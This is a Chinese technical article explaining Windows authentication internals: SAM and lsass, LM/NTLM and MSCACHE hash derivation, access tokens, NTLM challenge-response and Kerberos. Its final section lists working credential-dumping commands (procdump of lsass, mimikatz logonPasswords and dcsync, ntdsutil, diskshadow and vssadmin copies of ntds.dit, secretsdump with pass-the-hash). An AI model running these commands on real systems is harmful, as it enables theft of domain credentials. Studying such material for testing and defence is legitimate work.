Windows中怎么實現(xiàn)身份認證

Windows中怎么實現(xiàn)身份認證，相信很多沒有經(jīng)驗的人對此束手無策，為此本文總結了問題出現(xiàn)的原因和解決方法，通過這篇文章希望你能解決這個問題。

一、Windows身份認證基礎

1、認證過程

a、本地用戶認證

在進行本地登錄認證時操作系統(tǒng)會使用用戶輸入的密碼作為憑證去與系統(tǒng)中的密碼進行對比驗證。

在系統(tǒng)內部運行流程如下

winlogon.exe -> 接收用戶輸入 -> lsass.exe -> (認證)

首先用戶注銷、重啟、鎖屏后操作系統(tǒng)會讓winlogon顯示登錄界面也就是輸入框接收輸入后將密碼交給lsass進程這個進程會將明文密碼加密成NTLM Hash對SAM數(shù)據(jù)庫比較認證。

Windows Logon Process winlogon.exe是 Windows NT 用戶登陸程序用于管理用戶登錄和退出。

lsass 用于微軟Windows系統(tǒng)的安全機制。它用于本地安全和登陸策略該程序運行內存中會記錄用戶輸入的 hash 一定概率幾率明文。

b、MSCACHE（域緩存憑據(jù)）

MSCACHE，又叫作 domain cached credentials、DCC、域緩存憑據(jù)。它作用是是緩存在機器本地注冊表中的域憑據(jù)+域授權信息。

默認情況下windows 操作系統(tǒng)會自動緩存記錄最后 10 個密碼哈希值。當域控制器不可訪問時系統(tǒng)將檢查已緩存的最后一個密碼哈希值以便使用系統(tǒng)對用戶進行身份驗證。

需要注意的是，這里的hash是指 mscache hash，或者叫 dcc hash，根據(jù)操作系統(tǒng)的版本不同，又分為 dcc1 hash 與 dcc2 hash。Vista 之前保存的是 dcc1， 之后保存的是 dcc2。 兩種 hash 的生成算法不一樣。但無論是哪種都不是 NTLM 的 HASH。所以導出的域緩存的 hash 是不能用于 PTH ，只能用來破解。

這些密碼哈希值緩存在以下注冊表設置中HKEY_LOCAL_MACHINE\SECURITY\Cache

建議通過將以下安全設置來防止密碼的本地緩存將其值設置為 0。

本地策略組編輯器 -> 計算機配置 -> Windows 設置 -> 本地策略 -> 安全選項 -> 交互式登錄之前登錄到緩存的次數(shù) -> 0

2、lsass 與 SAM 文件

a、lsass.exe 程序

lsass.exe 是一個系統(tǒng)重要進程用于微軟Windows系統(tǒng)的安全機制。它用于本地安全和登陸策略。而SAM的功能就固定于 lsass.exe 中但是 lsass.exe 不僅僅只進行本地身份認證所有正確通過本地、遠程身份認證的用戶信息都會保存在 lsass.exe 的內存中。

由于 WDigest 協(xié)議的存在在一些舊版本的 windows 操作系統(tǒng)中XP - win 8.0 和 server 2003 - server 2012 R1純文本密碼存儲在 lsass.exe 進程中。考慮到安全因素在后續(xù)的 windows 操作系統(tǒng)版本中默認禁用此協(xié)議。對于舊版本操作系統(tǒng)微軟官方發(fā)布 KB2871997 補丁允許用戶自行決定是否禁用該協(xié)議。

修改是否禁用需要修改注冊表HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\WDigest將Negotiate 和 UseLogonCredential 注冊表項值應設置為 0 可以完全禁用此協(xié)議。

除此以外，用戶保存在在系統(tǒng)內的用戶憑證也是由lsass.exe管理，在導出程序內存時，會同時導出，并且密碼還是以明文的方式保存。

b、SAM文件

SAM 即“安全帳戶管理器(Security Accounts Manager)”是 windows 操作系統(tǒng)管理用戶帳戶的安全所使用的一種機制。

安全帳戶管理器對帳號的管理是通過安全標識進行的安全標識在帳號創(chuàng)建時就同時創(chuàng)建一旦帳號被刪除安全標識也同時被刪除。安全標識是唯一的即使是相同的用戶名在每次創(chuàng)建時獲得的安全標識都時完全不同的。因此一旦某個帳號被刪除它的安全標識就不再存在了即使用相同的用戶名重建帳號也會被賦予不同的安全標識不會保留原來的權限。

SAM 是用來存儲 windows 操作系統(tǒng)密碼的數(shù)據(jù)庫文件為了避免明文密碼泄漏SAM 文件中保存的是明文密碼在經(jīng)過一系列算法處理過的 Hash 值被保存的 Hash 分為 LM Hash 、 NTLM Hash 。當用戶進行身份認證時會將輸入的 Hash 值與 SAM 文件中保存的 Hash 值進行對比。在域控制器上 SAM 文件相當于活動目錄數(shù)據(jù)庫文件 ntds.dit。

值得注意的是 ntds.dit 并不等于 SAM 文件雖然在服務器升級為域控時會默認將 SAM 中的本地用戶升級為對應級別的域用戶或域管理員。但需要注意的是 SAM 文件依舊存在依舊可以配置本地管理員的設置。

SAM 文件保存于%SystemRoot%\system32\config\sam中

在注冊表中SAM 保存于

HKEY_LOCAL_MACHINE\SAM\SAM
HKEY_LOCAL_MACHINE\SECURITY\SAM

在正常情況下 SAM 文件處于鎖定狀態(tài)不可直接訪問、復制、移動僅有 system 用戶權限才可以讀寫該文件。

出于安全性的考慮在后期的 windows 系統(tǒng)中 SAM 文件中被 bootkey 加密，而 bootkey 則保存在這個SYSTEM 文件下。因此單獨的 SAM 文件是無法正常解讀的如果需要解密則還需要加載對應系統(tǒng)的 system 文件。

SAM 文件中內容存儲類似于 Unix/Linux 系統(tǒng)中的 passwd 和 shadow 文件的結合，區(qū)別在于沒有這么直觀明。

SAM 中 hash 密碼存儲格式為用戶名稱:RID:LM-HASH值:NT-HASH值例如

Administrator:500:aad3b435b51404eeaad3b435b51404ee:732ca7a7e650537443ccacae4d2f71f5:::

這一串內容表示

用戶名為Administrator

RID為500

LM-HASH值為：aad3b435b51404eeaad3b435b51404ee

NT-HASH值為：732ca7a7e650537443ccacae4d2f71f5

3、哈希 Hash

Hash一般翻譯做“散列”也有直接音譯為“哈?！钡木褪前讶我忾L度的輸入又叫做預映射 pre-image通過散列算法變換成固定長度的輸出該輸出就是散列值。

為了保證用戶憑證的安全性在 windows 操作系統(tǒng)中密碼不會直接以明文的方式存儲只會保留經(jīng)由加密算法加密后生成的hash由于算法不可逆所以可以最大程度保護用戶憑證的安全性。

而在 windows 操作系統(tǒng)中存在兩套加密方式加密生成密碼 Hash LM Hash 和 NT Hash(NTLM Hash)。

目前主要使用的加密方式為 NTLM Hash其中 NTLM 全稱是“NT LAN Manager”。而 NTLM 也是一種網(wǎng)絡認證協(xié)議與 NTLM Hash 的關系就是NTLM 網(wǎng)絡認證協(xié)議是以 NTLM Hash 作為根本憑證進行認證的協(xié)議。也就是說NTLM 與 NTLM Hash 相互對應。

a、LM Hash

LM Hash 全稱是 LAN Manager Hash是windows最早用的加密算法由IBM設計。

由于 LM Hash 使用 DES 加密密鑰為硬編碼算法又存在缺陷所以被廢棄但為保證系統(tǒng)兼容性 LM hash 并未被刪除可以自行選擇是否開啟使用。

對于早期的系統(tǒng)如XP、server 2003來說系統(tǒng)默認使用LM Hash進行加密也可人為設置成NTLM Hash之后的server 2008、win7等操作系統(tǒng)禁用了LM Hash默認使用NTLM Hash。

在后續(xù) windows 版本中LM Hash默認存儲為空即AAD3B435B51404EEAAD3B435B51404EE

1.生成規(guī)則

1.用戶的密碼被限制為最多14個字符。

2.用戶的密碼轉換為大寫。

假設明文口令是“Welcome”首先全部轉換成大寫“WELCOME”再做將口令字符串大寫轉后后的字符串變換成二進制串

“WELCOME” -> 57454**34F4D45

3.密碼不足14字節(jié)則需要在其后添加0x00補足14字節(jié)。

“WELCOME” -> 57454**34F4D4500000000000000

4.固定長度的密碼被分成兩個 7byte 部分分別經(jīng) str_to_key() 函數(shù)處理得到兩組8字節(jié)數(shù)據(jù)

57454**34F4D45 -str_to_key()-> 56A25288347A348A``00000000000000 -str_to_key()-> 0000000000000000

5.這兩組8字節(jié)數(shù)據(jù)將做為 DESKEY 對魔術字符串“KGS!@#$%”進行標準DES加密

"KGS!@#$%" -> 4B47532140232425
56A25288347A348A -對4B47532140232425進行標準DES加密-> C23413A8A1E7665F
0000000000000000 -對4B47532140232425進行標準DES加密-> AAD3B435B51404EE

6.將加密后的這兩組數(shù)據(jù)簡單拼接就得到了最后的 LM Hash

LM Hash: C23413A8A1E7665FAAD3B435B51404EE

2.固有漏洞

1.首先密碼長度最大只能為14個字符

2.密碼不區(qū)分大小寫。在生成哈希值之前所有密碼都將轉換為大寫

3.查看的加密過程就可以看到使用的是分組的DES如果密碼強度是小于7位那么第二個分組加密后的結果肯定是aad3b435b51404ee如果lm hash的結尾是aad3b435b51404ee就可以很輕易的發(fā)現(xiàn)密碼強度少于7位

4.一個14個字符的密碼分成7 + 7個字符并且分別為這兩個半部分計算哈希值。這種計算哈希值的方式使破解難度成倍增加因為攻擊者需要將7個字符而不是14個字符強制暴力破解。這使得14個字符的密碼的有效強度等于或者是7個字符的密碼的兩倍該密碼的復雜度明顯低于14個字符的密碼的理論強度。

5.Des密碼強度不高

b、NT Hash

為了解決LM加密和身份驗證方案中固有的安全弱點Microsoft 于1993年在Windows NT 3.1中引入了NTLM協(xié)議。

1.生成規(guī)則

與LM Hash算法不同NT Hash 不需要添加0x00補足14字節(jié)。

操作系統(tǒng)會將輸入的明文信息轉換為十六進制經(jīng)過Unicode轉換后再調用MD4加密算法加密這個加密結果的十六進制就是 NT Hash。

以admin為例首先將admin轉換為16進制。

admin -> hex(16進制編碼) = 61646d696e
61646d696e -> Unicode = 610064006d0069006e00
610064006d0069006e00 -進行標準MD4加密-> 209c6174da490caeb422f3fa5a7ae634

就得到了最后的NT Hash

NTLM Hash: 209c6174da490caeb422f3fa5a7ae634

與LM Hash算法相比明文口令大小寫敏感無法根據(jù)NTLM Hash判斷原始明文口令是否小于8字節(jié)擺脫了魔術字符串"KGS!@#$%"。MD4是真正的單向哈希函數(shù)窮舉作為數(shù)據(jù)源出現(xiàn)的明文難度較大。

c、Mscache Hash

mscache hash是域用戶在登錄域內機器時，所留下的域緩存憑據(jù)的密碼加密方式，又稱 dcc hash，根據(jù)操作系統(tǒng)的版本不同，分為 dcc1 hash 與 dcc2 hash。Vista 之前保存的是 dcc1， 之后保存的是 dcc2。 兩種 hash 的生成算法不一樣。這段 mscache hash 主要用于對用戶輸入的密碼進行驗證。

1.工作原理

當機器可以連上域控的時候，你用域賬號去登陸這臺機器，在登陸成功后（域控驗證了你的身份后），系統(tǒng)會將你的憑據(jù)以及授權信息保存在注冊表里面。默認是保存 10 個憑據(jù)（可以對這個值進行更改）。當被保存的憑據(jù)已經(jīng)超過 10 個的話，新的憑據(jù)會覆蓋掉老的憑據(jù)。

憑據(jù)被緩存在注冊表里的這些用戶，在機器連不上域控的時候也可以登陸這臺機器（只能交互式登陸，比如控制臺或遠程桌面。遠程桌面的時候要注意，不能使用帶有 NLA 功能的 RDP 客戶端，要用老的比如 XP 上帶的 RDP 客戶端），但是沒有被緩存在注冊表里的用戶是無法登陸的。

MSCACHE 的保存位置默認只有 SYSTEM 權限可讀。

2.生成規(guī)則

DCC1 = MD4 (NT HASH + LowerUnicode(username))

DCC2 = PBKDF2(HMAC-SHA1, Iterations, DCC1, LowerUnicode(username))

3.解密步驟

1.得到 bootkey

2.利用 bootkey 解密 LSA Key

3.利用 LSA Key 解密 NLKM Key

4.利用 NLKM Key 解密 MSCACHE

其中 bootkey 被拆成了 4 部分，分別保存在：

HKLM\System\CurrentControlSet\Control\Lsa\JDHKLM\System\CurrentControlSet\Control\Lsa\Skew1HKLM\System\CurrentControlSet\Control\Lsa\DataHKLM\System\CurrentControlSet\Control\Lsa\GBG

4、訪問令牌

Windows Token 其實叫 Access Token訪問令牌它是一個描述進程或者線程安全的一個對象。不同的用戶登錄計算機后 都會生成一個Access Token這個 Token 在用戶創(chuàng)建進程或者線程時會被使用不斷的拷貝這也就解釋了A用戶創(chuàng)建一個進程而該進程沒有B用戶的權限。

Access Token種類

主令牌

模擬令牌

一般情況下用戶雙擊運行一個程序都會拷貝“explorer.exe”的Access Token。

當用戶注銷后系統(tǒng)將會使主令牌切換為模擬令牌不會將令牌清除只有在重啟機器后才會清除。

a、令牌組成

用戶帳戶的安全標識符(SID)

用戶所屬的組的SID

用于標識當前登錄會話的登錄SID

用戶或用戶組所擁有的權限列表

所有者SID

主要組的SID

訪問控制列表

訪問令牌的來源

令牌是主要令牌還是模擬令牌

限制SID的可選列表

目前的模擬等級

其他統(tǒng)計數(shù)據(jù)

b、安全標識符

安全標識符是一個唯一的字符串它可以代表一個賬戶、一個用戶 組、或者是一次登錄。通常它還有一個SID固定列表例如 Everyone這種已經(jīng)內置的賬戶默認擁有固定的SID。

SID的表現(xiàn)形式:

域SID-用戶ID

計算機SID-用戶ID

SID列表都會存儲在域控的AD或者計算機本地賬戶數(shù)據(jù)庫中。

c、用戶權限與令牌

1.用戶與權限

在 windows 操作系統(tǒng)底層真正的用戶權限劃分是相對復雜的并不僅僅只有用戶可見的普通權限或管理員權限。相同的權限組不同的 RID 所擁有的權限也是不一樣的。也就是說初始默認的 administrator 用戶RID 500和普通管理員組用戶的權限是不一樣的administrator 用戶權限大于管理員組用戶準確的說是 RID 500 的用戶權限大于普通管理員組用戶。因為系統(tǒng)本身并不識別用戶名只識別用戶的 RID。

這一區(qū)別在在遠程訪問過程中尤其明顯。在使用 hash 傳遞時會發(fā)現(xiàn)如果目標服務器安裝有 kb2871997 補丁那么 hash 傳遞攻擊就會受到限制。只有 RID 500 的用戶和本地管理員組的域用戶不會受到影響。

而出現(xiàn)這一問題的主要原因就是用戶帳戶控制UAC的令牌篩選機制。

2.受限令牌與 UAC

在 windows vista 以上版本操作系統(tǒng)的任何非 RID 500 本地管理員帳戶使用遠程連接無論是通過 WMIPSEXEC 還是其他方法即使用戶是本地管理員返回的令牌都是已過濾的管理員令牌也稱受限令牌。

受限令牌是主令牌或模擬令牌的子集被修改用于控制特權或權限具有以下特性

其完整性級別被設置為“中”。

管理員 SID 和 管理員類的 SID 被標記為“僅僅拒絕”而不是直接把這些組移除。

所有的特權都被移除除了以下這些Change Notify、Shutdown、Undock、Increase Working Set 和 Time Zone。

通俗來說就是管理員組的非 RID 500 賬戶登錄之后是沒有過 UAC 的所有特權都被移除。而 RID 500 賬戶登錄之后也以完全管理特權“完全令牌模式”運行所有應用程序實際是不用過 UAC 的。

對于本地“管理員”組中的域用戶帳戶當具有域用戶帳戶的用戶遠程登錄 windows 操作系統(tǒng)并且該用戶是管理員組的成員時域用戶將在遠程計算機上以完全管理員訪問令牌運行并且該用戶的 UAC 被禁用在該會話的遠程計算機上。

3.關閉令牌過濾

如果HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy項存在(默認不存在)且配置為1將授予來自管理員所有本地成員的遠程連接完整的高完整性令牌。這意味著未過濾非RID 500帳戶連接并且可以成功傳遞哈希值

二、網(wǎng)絡協(xié)議認證

1、NTLM 協(xié)議

NTLM 是一種網(wǎng)絡認證協(xié)議它是基于挑戰(zhàn)Chalenge/響應Response認證機制的一種認證模式。這個協(xié)議只支持 windows 操作系統(tǒng)。

需要注意的是 NTLM 協(xié)議是一個嵌入式的協(xié)議很重要消息的傳輸依賴于使用ntlm的上層協(xié)議比如SMBLDAPHTTP等。需要注意的是NTLM 不像 kerbreos既可以鑲嵌在上層協(xié)議里面也可以作為獨立的應用層協(xié)議。NTLM 是只能鑲嵌在上層協(xié)議里面消息的傳輸依賴于使用 ntlm 的上層協(xié)議。

a、認證過程

1.三種重要消息

NTLM 驗證主要由三種消息組成

type 1協(xié)商

type 2質詢

type 3驗證

協(xié)商主要用于確認雙方協(xié)議版本。

質詢就是挑戰(zhàn)Chalenge/響應Response認證機制起作用的范疇本小節(jié)主要討論這個機制的運作流程。

驗證驗證主要是在質詢完成后驗證結果是認證的最后一步。

2.完整驗證流程

1.首先用戶客戶端向服務器發(fā)送 type 1 消息協(xié)商它主要包含客戶端支持和服務器請求的功能列表。

2.服務器在接收到用戶發(fā)來的請求后用 type 2 消息質詢消息進行響應這個響應中不僅包含有服務器支持和同意的功能列表最重要的是包含服務器產(chǎn)生的Challenge。

3.用戶客戶端在收到服務器的響應后用 type 3 消息驗證回復質詢。用戶客戶端接收到 challenge 之后使用用戶 hash 與 challenge 進行加密運算得到 response然后將 response、username、challeng 發(fā)給服務器。消息中的 response 是最關鍵的部分因為它們向服務器證明客戶端用戶已經(jīng)知道帳戶密碼。

在服務器拿到用戶客戶端發(fā)送的 type 3 消息之后使用 challenge 和用戶 hash 進行加密得到 response2 與 type 3 發(fā)來的 response 進行比較。

1.如果用戶 hash 是存儲在域控里面的話那么沒有用戶 hash也就沒辦法計算 response2也就無法驗證。這個時候服務器就會通過 netlogon 協(xié)議聯(lián)系域控建立一個安全通道,然后將 type 1,type 2type3 全部發(fā)給域控(這個過程也叫作Pass Through Authentication認證流程)

2.域控使用 challenge 和用戶hash進行加密得到 response2與 type 3 的 response 進行比較并將結果返回給服務器。

域控遠程認證

b、Net-ntlm hash

在 type 3 中的響應有六種類型的響應

1.LMLAN Manager響應 – 由大多數(shù)較早的客戶端發(fā)送這是“原始”響應類型。

2.NTLM v1 響應 – 這是由基于NT的客戶端發(fā)送的包括Windows 2000和XP。

3.NTLM v2 響應 – 在 windows NT Service Pack 4 中引入的一種較新的響應類型。它替換啟用了 NTLM 版本2的系統(tǒng)上的 NTLM 響應。

4.LM v2 響應 – 替代 NTLM 版本2系統(tǒng)上的 LM 響應。

5.NTLM2 會話響應 – 用于在沒有 NTLMv2 身份驗證的情況下協(xié)商 NTLM2 會話安全性時此方案會更改 LM NTLM 響應的語義。

6.匿名響應 – 當匿名上下文正在建立時使用; 沒有提供實際的證書也沒有真正的身份驗證?！按?根”字段顯示在類型3消息中。

這六種使用的加密流程一樣都是前面的 Challenge / Response 驗證機制,區(qū)別在Challenge和加密算法不同。

Challenge/Response 驗證機制里面 type 3 response 里面包含 Net-ntlm hashNTLM v1 響應和 NTLMv2 響應對應的就是 Net-ntlm hash 分為 Net-ntlm hash v1和 Net-ntlm hash v2。

Net-ntlm hash v1的格式為username::hostname:LM response:NTLM response:challenge

Net-ntlm hash v2的格式為username::domain:challenge:HMAC-MD5:blob

在實際過程中使用哪個版本的響應由 LmCompatibilityLevel 決定。

在多數(shù)情況下Net-ntlm hash v1 已經(jīng)廢棄只能在一些舊版本的系統(tǒng)上看到。一個很重要的原因就是 Net-ntlm hash v1 本身存在缺陷只要獲取到Net-NTLM v1都能破解為NTLM hash與密碼強度無關。

1.Net-NTLMv1

Net-NTLMv1的響應生成方式分為兩種當 NTLMSSP Negotiate Flags 未設置 Session Security 標志位時采用方法一若設置該標志位則采用方法二。

方法一

1.NT Hash后面補5個字節(jié)0共21字節(jié)

2.分成3組7字節(jié)每7個比特后面添加1比特0成為3個8字節(jié)的DES密鑰

3.使用步驟2得到的3個密鑰分別對8字節(jié)的挑戰(zhàn)進行DES獲得三組8字節(jié)密文共組成24字節(jié)的密文稱為響應

方法二

1.NT Hash后面補5個字節(jié)0共21字節(jié)

2.分成3組7字節(jié)每7個比特后面添加1比特0成為3個8字節(jié)的DES密鑰

3.拼接8字節(jié)Server Challenge和8字節(jié)Client Challenge后求其MD5然后取MD5值的前8字節(jié)

4.使用步驟2得到的3個密鑰分別對步驟3中得到的8字節(jié)數(shù)據(jù)進行DES加密獲得三組8字節(jié)密文共組成24字節(jié)的密文稱為響應

2.Net-NTLMv2

1.將 Unicode 后的大寫用戶名與 Unicode 后的身份驗證目標在 Type 3 消息的“TargetName”字段中指定的域或服務器名稱拼在一起。用戶名將轉換為大寫而身份驗證目標區(qū)分大小寫并且必須與“TargetName”字段中顯示的大小寫匹配。使用16字節(jié)NTLM哈希作為密鑰得到一個值。

2.構建一個blob信息。

3.使用16字節(jié)NTLMv2哈希作為密鑰將HMAC-MD5消息認證代碼算法加密一個值(來自type 2的Challenge與Blob拼接在一起)。得到一個16字節(jié)的NTProofStr。

4.將NTProofStr與Blob拼接起來形成得到response。

c、LmCompatibilityLevel

此安全設置確定網(wǎng)絡登錄使用的“質詢/響應”身份驗證協(xié)議。此選項會影響客戶端使用的身份驗證協(xié)議的等級、協(xié)商的會話安全的等級以及服務器接受的身份驗證的等級。

在 type 3 消息中的 hash 類型就是由 LmCompatibilityLevel 來決定的。

發(fā)送 LM NTLM 響應: 客戶端使用 LM 和 NTLM 身份驗證而決不會使用 NTLMv2 會話安全域控制器接受 LM、NTLM 和 NTLMv2 身份驗證。

發(fā)送 LM & NTLM – 如果協(xié)商一致則使用 NTLMv2 會話安全: 客戶端使用 LM 和 NTLM 身份驗證并且在服務器支持時使用 NTLMv2 會話安全域控制器接受 LM、NTLM 和 NTLMv2 身份驗證。

僅發(fā)送 NTLM 響應: 客戶端僅使用 NTLM 身份驗證并且在服務器支持時使用 NTLMv2 會話安全域控制器接受 LM、NTLM 和 NTLMv2 身份驗證。

僅發(fā)送 NTLMv2 響應: 客戶端僅使用 NTLMv2 身份驗證并且在服務器支持時使用 NTLMv2 會話安全域控制器接受 LM、NTLM 和 NTLMv2 身份驗證。

僅發(fā)送 NTLMv2 響應/拒絕 LM: 客戶端僅使用 NTLMv2 身份驗證并且在服務器支持時使用 NTLMv2 會話安全域控制器拒絕 LM (僅接受 NTLM 和 NTLMv2 身份驗證)。

僅發(fā)送 NTLMv2 響應/拒絕 LM & NTLM: 客戶端僅使用 NTLMv2 身份驗證并且在服務器支持時使用 NTLMv2 會話安全域控制器拒絕 LM 和 NTLM (僅接受 NTLMv2 身份驗證)。

在組策略中LmCompatibilityLevel 叫作 “網(wǎng)絡安全: LAN 管理器身份驗證級別”。如果客戶服務端服務端版本不匹配會造成無發(fā)訪問。

3、Kerberos 域認證

a、kerberos 協(xié)議概述

Kerberos 是一種由 MIT麻省理工大學提出的一種網(wǎng)絡身份驗證協(xié)議。它旨在通過使用密鑰加密技術為客戶端/服務器應用程序提供強身份驗證。

該認證過程的實現(xiàn)不依賴于主機操作系統(tǒng)的認證無需基于主機地址的信任不要求網(wǎng)絡上所有主機的物理安全并假定網(wǎng)絡上傳送的數(shù)據(jù)包可以被任意地讀取、修改和插入數(shù)據(jù)。在以上情況下 Kerberos 作為一種可信任的第三方認證服務是通過傳統(tǒng)的密碼技術如:共享 密鑰執(zhí)行認證服務的。

在 Kerberos 協(xié)議中主要是有三個角色的存在

1.訪問服務的Client(以下表述為Client 或者用戶)

2.提供服務的Server(以下表述為服務)

3.KDCKey Distribution Center密鑰分發(fā)中心 kerberos 測試工具介紹

其中 KDC 服務默認會安裝在一個域的域控中而 Client 和 Server 為域內的用戶或者是服務如 HTTP 服務SQL 服務。在 Kerberos 中 Client 是否有權限訪問 Server端的服務由 KDC 發(fā)放的票據(jù)來決定。

1.名詞概念

票據(jù)Ticket是網(wǎng)絡對象互相訪問的憑證。

TGTTicket Granting Ticket入場券通過入場券能夠獲得票據(jù)是一種臨時憑證的存在。

TGSticket granting service票據(jù)授予服務。

KDC負責管理票據(jù)、認證票據(jù)、分**據(jù)但是 KDC 不是一個獨立的服務它由以下服務組成

Authentication Service: 為client生成TGT的服務

Ticket Granting Service: 為client生成某個服務的ticket

另外還需要介紹一個類似于本機SAM的一個數(shù)據(jù)庫AD全稱叫 account database存儲所有 client 的白名單只有存在于白名單的 client 才能順利申請到TGT。

從物理層面看AD 與 KDC 均為域控制器Domain Controller。

b、認證流程

1.AS-REQClient 向 KDC 發(fā)起請求明文密碼將會被加密為 hash時間戳使用 Client hash 進行加密然后作為認證票據(jù)TGT請求AS-REQ中的認證因子發(fā)送給KDC。

2.AS-REPKDC 使用 Client hash 進行解密如果結果正確就返回用 krbtgt hash 加密的 TGT 票據(jù)。TGT 里面包含 PACPAC 包含 Client 的 sidClient 所在的組。

3.TGS-REQ當 Client 請求票據(jù)授予服務TGS票據(jù)時用戶需要向 KDC 展示TGT數(shù)據(jù)。KDC 會打開票據(jù)進行校驗和檢查。如果 KDC 能夠打開票據(jù)并能通過校驗和檢查那么會認為 TGT 為有效票據(jù)。此時 TGT 中的數(shù)據(jù)會被復制以創(chuàng)建 TGS 票據(jù)。

4.TGS-REPKDC 使用目標服務賬戶的 hash 對 TGS 票據(jù)進行加密然后將結果發(fā)送給 Client。(這一步不管用戶有沒有訪問服務的權限只要TGT 正確就返回 TGS 票據(jù))

5.AP-REQClient 訪問目標服務并發(fā)送 TGS 票據(jù)去請求服務。

6.AP-REP服務使用自己的 hash 解密 TGS 票據(jù)。如果解密正確就拿著 PAC 去 KDC 查詢 Client 有沒有訪問權限KDC 解密 PAC。獲取 Client的 sid以及所在的組再根據(jù)該服務的 ACL判斷 Client 是否有訪問服務的權限。

c、PAC

在 Kerberos 最初設計的幾個流程里說明了如何證明 Client 是 Client 而不是由其他人來冒充的但并沒有聲明 Client 有沒有訪問 Server 服務的權限因為在域中不同權限的用戶能夠訪問的資源是有區(qū)別的。

所以 Microsoft 為了解決這個問題在實現(xiàn) Kerberos 時加入了 PAC 的概念PAC 的全稱是 Privilege Attribute Certificate特權屬性證書。

PAC 可以理解為一串校驗信息為了防止被偽造和串改原則上是存放在 TGT 里并且 TGT 由 KDC hash 加密。同時尾部會有兩個數(shù)字簽名分別由 KDC 密碼和 server 密碼加密防止數(shù)字簽名內容被篡改。

同時 PAC 指定了固定的 User SID 和 Groups ID還有其他一些時間等信息Server 的程序收到 ST 之后解密得到 PAC 會將 PAC 的數(shù)字簽名發(fā)送給 KDCKDC 再進行校驗然后將結果已 RPC 返回碼的形式返回給 Server。

三、獲取用戶憑證

這里說的用戶憑證獲取，一般是指 ntlm hash 或者可以直接利用的明文密碼。其他加密方式的用戶憑證不在本次討論范圍內。

1、本地用戶憑證

a、通過SAM文件破解

reg save hklm\sam C:\sam.hive
reg save hklm\system C:\system.hive

b、獲取lsass內存

1.procdump

procdump是微軟提供的一款監(jiān)測cpu峰值協(xié)助管理員檢測異常數(shù)據(jù)的軟件是合法可信任軟件因此殺軟不會攔截。

利用該軟件可讀取內存的特性可以將計算機用戶登錄內存抓取出來。具體命令如下

以管理員身份啟動cmd
procdump64.exe -accepteula -ma lsass.exe 存放路徑\文件名

將生成的文件傳出后使用mimikatz破解

mimikatz # sekurlsa::minidump 文件名
mimikatz # sekurlsa::logonPasswords full

2.創(chuàng)建轉儲文件

除了使用工具軟件獲得 lsass.exe 的內存外還可以直接在任務管理器中創(chuàng)建 lsass.exe 的轉儲文件效果和 procdump 生成的效果一樣。

2、域用戶憑證

a、ntdsutil 域快照

ntdsutil 是一個命令行工具是域控制器生態(tài)系統(tǒng)的一部分其主要用途是使管理員能夠輕松訪問和管理 Windows Active Directory 數(shù)據(jù)庫。但它常被滲透測試人員或紅隊隊員濫用來獲取現(xiàn)有的 ntds.dit 文件快照。在 Windows Server 2008 及以上版本的系統(tǒng)中可直接使用 ntdsutil。

ntdsutil
activate instance ntds
ifm
create full C:\ntdsutil
quit
quit

b、DiskShadow

DiskShadow 是一個 Microsoft 簽名二進制文件用于協(xié)助管理員執(zhí)行與卷影復制服務VSS相關的操作。這個二進制文件有兩個模式 interactive 和 script 腳本將包含自動執(zhí)行 NTDS.DIT 提取過程所需的所有命令?？梢栽谀_本文件中添加以下行以創(chuàng)建新的 volume shadow copy卷影復制掛載新驅動執(zhí)行復制命令以及刪除 volume shadow copy。

set context persistent nowriters
add volume c: alias someAlias
create
expose %someAlias% z:
exec "cmd.exe" /c copy z:\windows\ntds\ntds.dit c:\ntds\ntds.dit
delete shadows volume %someAlias%
reset

需要注意的是DiskShadow二進制文件需要從C:\Windows\System32路徑執(zhí)行。如果從其它路徑調用它腳本將無法正確執(zhí)行同時該腳本文件保存時編碼格式不能選擇 UTF-8 要選擇 ASCII 編碼否則運行會報錯。

diskshadow.exe /s c:\diskshadow.txt

SYSTEM注冊表hive也應該被復制因為其包含了解密NTDS文件內容所需的密鑰。

reg.exe save hklm\system c:\ntds\system.bak

c、vssadmin

vssadmin 即卷影復制服務Volume Shadow Copy Service是微軟Windows的一項組件服務從Windows XP開始支持。管理員可以使用卷影復制服務備份計算機卷以及文件即使操作系統(tǒng)正在使用這些資源。

1.備份方法

vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy[ID]\windows\ntds\ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy[ID]\windows\system32\config\SYSTEM
vssadmin delete shadows /shadow=[GUID]

其中的HarddiskVolumeShadowCopy[ID]中的[ID]和[GUID]均為動態(tài)生成需要根據(jù)回顯結果輸入。如下圖

可以看出[ID]為1``[GUID]為c73089ab-8634-457c-8ee7-b8c0ed2432ad。

2.windows server 03

如果系統(tǒng)是 server 03 在執(zhí)行完畢之后還需要使用esentutl對ntds進行修復。

esentutl /r edb /8 /d /o
esentutl /p .\ntds.dit /8 /o

需要注意的是該操作必須在 windows server 2003 上執(zhí)行。

d、Mimikatz

Mimikatz 有一個功能 dcsync 利用目錄復制服務 DRS從 NTDS.DIT 文件中檢索密碼哈希值。該技術消除了直接從域控制器進行認證的必要性，因為它可以以域管身份在域的任意系統(tǒng)執(zhí)行，或是使用黃金票據(jù)從任意可連接到域控的服務器執(zhí)行。因此這也是一項用于紅隊的標準技術。

lsadump::dcsync /domain:aptlab.com /all /csv

通過使用 /user 參數(shù)指定域用戶名Mimikatz 會將該指定用戶的所有帳戶信息轉儲包括哈希值。

lsadump::dcsync /domain:pentestlab.local /user:test

e、secretsdump

利用 impacket 下的 secretsdump 模塊也可以實現(xiàn)遠程盜取 ntds 內容。同時該工具支持 hash 傳遞攻擊。

python secretsdump -hashes :NThash -just-dc domain/dc\$@ipaddress

3、ntds文件解密

破解ntds文件的方法有很多軟件也有很多包括Impacket-secretsdump、Quarks PwDump等。

這里推薦使用NtdsAudit工具。github下載地址

該工具可以十分高效的破解ntds文件并將全部域用戶信息導出方便查找域用戶狀態(tài)。

將ntds.dit文件和SYSTEM文件放在同一目錄下執(zhí)行命令

NtdsAudit.exe "ntds.dit" -s "SYSTEM" -p pwdump.txt --users-csv users.csv

執(zhí)行完畢后會生成兩個文件pwdump.txt和users.csv其中pwdump.txt為用戶hash文件包含用戶名及hashusers.csv文件為域用戶的詳細信息包括賬戶是否過期是否為管理員上次密碼修改時間等。

需要注意的是該工具只能在win10server16未測試上執(zhí)行。

